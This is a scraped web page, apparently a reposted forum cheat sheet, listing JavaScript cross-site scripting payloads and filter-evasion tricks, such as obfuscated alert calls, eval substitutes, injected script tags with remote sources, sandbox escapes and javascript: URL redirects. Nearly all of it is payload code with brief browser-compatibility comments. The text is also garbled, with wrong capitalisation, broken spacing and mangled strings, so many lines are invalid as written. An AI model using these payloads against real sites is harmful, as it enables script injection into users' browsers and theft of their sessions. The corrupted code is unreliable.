Some alternative usage in javascript

Source: Internet
Author: User

/*
* I will be updating this thread when I have time with the replies .. any mod fell free to help.
*/

// Direct execution

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Window ["alert"] (1); // this ["alert"], self ["alert"], etc .. see references to window

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Self [<> alert </>] (1); // JS1.6 +

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Self [<> <! [CDATA [alert]> </>] (1 );

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Top/**/[x61x6cx65x72x74]/**/(1 );

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U0061lert (1), alertu000a (1 );

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(Ä= #1 ={}& & alert) (ä); // ff only

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Alert. valueOf (). call (self, 1 );

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[Alert. valueOf ()] [0]. valueOf () (1 );

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{X/* @ cc_on = alert @ */} x/* @ (/xss/@ */); // ie only

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({__ NoSuchMethod __: Function}). aaaaa $ dddddddddfffffff _____ ("alert (1)") ()/ff only

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// Ff only
Location. _ noSuchMethod __= location. replace; location ["javascript: alert (1)"] ();
Window. _ noSuchMethod __= setTimeout; window ["alert (2)"] ();

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"" + {ToString: alert} // code execution with no [= ()], doesnt work on FF with native functions

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1 * ({valueOf: alert}) // code execution with no [= ()], doesnt work on FF with native functions

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A setter = alert; a = "hello"; // function execution without [()] ff only

// Evaluate code

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Eval ("alert (1 )");

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SetTimeout ("alert (1 )");

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SetInterval ("alert (1)"); // lots of alerts ..

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Function ("alert (1 )")();

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Self [(typeof prompt). replace (/^./, String. toUpperCase)] ("alert (1 )")();

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[]. Constructor. constructor ('alert (1 )')();

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ExecScript ("alert (1)"); // IE only

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Window [<> eval </>] (name); // JS1.6 +

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'Alert ("xss") '. replace (/. */g, eval)

// Generate/add script tags

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With (document) body. previussibling. appendChild (createElement ('script'). src = 'url'

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With (document) querySelector ('head'). appendChild (createElement ('script'). src = 'url'

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With (a = <script/>) a. @ src = 'url', a. toXMLString (); // FF only, generates the string only (doesn't execute)

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With (document) body. previussibling. appendChild (createElementNS ('HTTP: // www.w3.org/5o/xhtml', html:script'). src = 'url'

// Virtual DOM (execution before appendChild, for escaping sandboxes)

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// IE only
Document. createElement ("html"). appendChild (document. createElement ("script"). text = "alert ('ie sucks ')";
Ddocument. createElement ("html"). appendChild (document. createElement ("script"). setAttribute ('src', // 0x. lv ');

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// WebKit only (Chrome/Safari)
Document. createElementNS ("http://www.w3.org/5o/xhtml#, ”html "). innerHTML = '

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// FF only
Document. createElement ("pre"). innerHTML = " ";
With (new Image) setAttribute ('onerror', alert (1) '), src = '.;
With (document. createElement ("img") setAttribute ('onerror', alert (1) '), setAttribute ('src ','.');
New Option (). innerHTML = " "; // tip: [new Option] [0] [name] = location. hash // name = innerHTML location. hash =

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// Opera only
New Image (). src = "javascript: alert (1234 )";
Document. createElement ('img '). src = "javascript: alert (1234 )";

// Location

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Location = 'javascript: alert (1 )';

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Location. assign ('javascript: alert (1 )');

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Location. replace ('javascript: alert (1 )');

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// Supossing the url is http: // victim/asdf/# % 0 aalert (1) (ie only)
Location. protocol = 'javascript ';

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Document. URL = 'javascript: alert (1) '; // ie

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Location = Namespace ('javascript: x61lert (1) '). uri // ff

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FrameElement. src = 'javascript: alert (1) ';/* requires to be framed in same origin (frame a page with a frame and do frames [0]. frames [0]. location = "xss victim ")*/

// Etc ..

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<Meta http-equiv = refresh content},url?xss.swf>

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Document.styleSheets(0).css Text = name; // IE only

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